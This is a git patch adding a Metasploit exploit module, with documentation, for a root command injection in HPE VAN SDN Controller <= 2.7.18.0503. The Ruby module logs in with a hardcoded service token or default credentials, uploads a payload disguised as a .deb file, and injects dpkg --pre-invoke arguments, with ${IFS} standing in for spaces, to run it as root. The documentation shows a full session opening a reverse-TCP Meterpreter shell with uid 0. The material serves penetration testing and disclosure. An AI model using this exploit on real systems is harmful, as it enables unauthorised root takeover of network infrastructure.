From b5981caa0b874ea820144d4ce59eeb2d2d23075b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 5 Jul 2018 14:21:44 -0500 Subject: [PATCH] Land #10219, Add HP VAN SDN Controller exploit --- .../linux/http/hp_van_sdn_cmd_inject.md | 85 ++++++++ .../linux/http/hp_van_sdn_cmd_inject.rb | 197 ++++++++++++++++++ 2 files changed, 282 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md create mode 100644 modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb diff --git a/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md b/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md new file mode 100644 index 0000000000..d4bac36517 --- /dev/null +++ b/documentation/modules/exploit/linux/http/hp_van_sdn_cmd_inject.md @@ -0,0 +1,85 @@ +## Intro + +This module exploits a hardcoded service token or default credentials in +HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root. + +A root command injection was discovered in the uninstall action's name +parameter, obviating the need to use sudo for privilege escalation. + +If the service token option `TOKEN` is blank, `USERNAME` and `PASSWORD` +will be used for authentication. An additional login request will be +sent. + +## Setup + +Follow . + +Tested on 2.7.18.0503. + +## Options + +**TOKEN** + +Set this to the service token. Defaults to `AuroraSdnToken37`. + +**USERNAME** + +Set this to the service username. Defaults to `sdn`. + +**PASSWORD** + +Set this to the service password. Defaults to `skyline`. + +## Usage + +``` +msf5 > use exploit/linux/http/hp_van_sdn_cmd_inject +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set rhosts 192.168.56.102 +rhosts => 192.168.56.102 +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set target Linux Dropper +target => Linux Dropper +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set payload linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Authenticating with service token AuroraSdnToken37 +[*] Uploading payload as fake .deb +[+] Uploaded /var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1.deb +[*] Renaming payload and executing it +[*] Injecting dpkg -r --pre-invoke=mv${IFS}/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1.deb${IFS}/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1${IFS}&&${IFS}chmod${IFS}+x${IFS}/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1 +[*] Injecting dpkg -r --pre-invoke=/var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1 +[*] Sending stage (812100 bytes) to 192.168.56.102 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:34468) at 2018-07-03 18:23:08 -0500 +[+] Deleted /var/lib/sdn/uploads/PZNmbCCF6BYIL3Zv1 + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +meterpreter > sysinfo +Computer : 192.168.56.102 +OS : Debian 8 (Linux 4.4.0-2-amd64-hlinux) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +Background session 1? [y/N] +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > set token "" +token => +msf5 exploit(linux/http/hp_van_sdn_cmd_inject) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Authenticating with creds sdn:skyline +[+] Retrieved auth token 26d7b53a73a9455eae63c346321bfe31 +[*] Uploading payload as fake .deb +[+] Uploaded /var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l.deb +[*] Renaming payload and executing it +[*] Injecting dpkg -r --pre-invoke=mv${IFS}/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l.deb${IFS}/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l${IFS}&&${IFS}chmod${IFS}+x${IFS}/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l +[*] Injecting dpkg -r --pre-invoke=/var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l +[*] Sending stage (812100 bytes) to 192.168.56.102 +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.102:34474) at 2018-07-03 18:24:47 -0500 +[+] Deleted /var/lib/sdn/uploads/kZzvx9DHtqQ39RPKuc0rVKzafsm584bye0l + +meterpreter > +``` diff --git a/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb new file mode 100644 index 0000000000..ed576fb9b4 --- /dev/null +++ b/modules/exploits/linux/http/hp_van_sdn_cmd_inject.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + # server: grizzly/2.2.16 + HttpFingerprint = {pattern: [/^grizzly/]} + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP VAN SDN Controller Root Command Injection', + 'Description' => %q{ + This module exploits a hardcoded service token or default credentials + in HPE VAN SDN Controller <= 2.7.18.0503 to execute a payload as root. + + A root command injection was discovered in the uninstall action's name + parameter, obviating the need to use sudo for privilege escalation. + + If the service token option TOKEN is blank, USERNAME and PASSWORD will + be used for authentication. An additional login request will be sent. + }, + 'Author' => [ + 'Matt Bergin', # Vulnerability discovery and Python exploit + 'wvu' # Metasploit module and additional ~research~ + ], + 'References' => [ + ['EDB', '44951'], + ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt'] + ], + 'DisclosureDate' => 'Jun 25 2018', + 'License' => MSF_LICENSE, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => {'BadChars' => ' '} + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => {'RPORT' => 8081, 'SSL' => true} + )) + + register_options([ + OptString.new('TOKEN', [false, 'Service token', 'AuroraSdnToken37']), + OptString.new('USERNAME', [false, 'Service username', 'sdn']), + OptString.new('PASSWORD', [false, 'Service password', 'skyline']) + ]) + + register_advanced_options([ + OptString.new('PayloadName', [false, 'Payload name (random if unset)']), + OptBool.new('ForceExploit', [false, 'Override check result', false]) + ]) + end + + def check + checkcode = CheckCode::Safe + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/', + 'headers' => {'X-Auth-Token' => auth_token}, + 'ctype' => 'application/json', + 'data' => {'action' => 'uninstall'}.to_json + ) + + if res.nil? + checkcode = CheckCode::Unknown + elsif res && res.code == 400 && res.body.include?('Missing field: name') + checkcode = CheckCode::Appears + elsif res && res.code == 401 && res.body =~ /Missing|Invalid token/ + checkcode = CheckCode::Safe + end + + checkcode + end + + def exploit + if [CheckCode::Safe, CheckCode::Unknown].include?(check) + if datastore['ForceExploit'] + print_warning('ForceExploit set! Exploiting anyway!') + else + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end + end + + if target['Type'] == :unix_memory + print_status('Executing command payload') + execute_command(payload.encoded) + return + end + + print_status('Uploading payload as fake .deb') + payload_path = upload_payload + renamed_path = payload_path.gsub(/\.deb$/, '') + + register_file_for_cleanup(renamed_path) + + print_status('Renaming payload and executing it') + execute_command( + "mv #{payload_path} #{renamed_path} && " \ + "chmod +x #{renamed_path}" + ) + execute_command(renamed_path) + end + + def upload_payload + payload_name = datastore['PayloadName'] ? + "#{datastore['PayloadName']}.deb" : + "#{Rex::Text.rand_text_alphanumeric(8..42)}.deb" + payload_path = "/var/lib/sdn/uploads/#{payload_name}" + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/upload', + 'headers' => {'Filename' => payload_name, 'X-Auth-Token' => auth_token}, + 'ctype' => 'application/octet-stream', + 'data' => generate_payload_exe + ) + + unless res && res.code == 200 && res.body.include?('{ }') + fail_with(Failure::UnexpectedReply, "Failed to upload #{payload_path}") + end + + print_good("Uploaded #{payload_path}") + + payload_path + end + + def execute_command(cmd) + # Argument injection in /opt/sdn/admin/uninstall-dpkg + injection = "--pre-invoke=#{cmd}" + + # Ensure we don't undergo word splitting + injection = injection.gsub(/\s+/, '${IFS}') + + print_status("Injecting dpkg -r #{injection}") + + send_request_cgi({ + 'method' => 'POST', + 'uri' => '/', + 'headers' => {'X-Auth-Token' => auth_token}, + 'ctype' => 'application/json', + 'data' => {'action' => 'uninstall', 'name' => injection}.to_json + }, 1) + end + + def auth_token + return @auth_token if @auth_token + + token = datastore['TOKEN'] + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + + if token && !token.empty? + print_status("Authenticating with service token #{token}") + @auth_token = token + return @auth_token + end + + print_status("Authenticating with creds #{username}:#{password}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/sdn/ui/app/login', + 'rport' => 8443, + 'vars_post' => {'username' => username, 'password' => password} + ) + + unless res && res.get_cookies.include?('X-Auth-Token') + print_error('Invalid username and/or password specified') + return + end + + @auth_token = res.get_cookies_parsed['X-Auth-Token'].first + print_good("Retrieved auth token #{@auth_token}") + + @auth_token + end + +end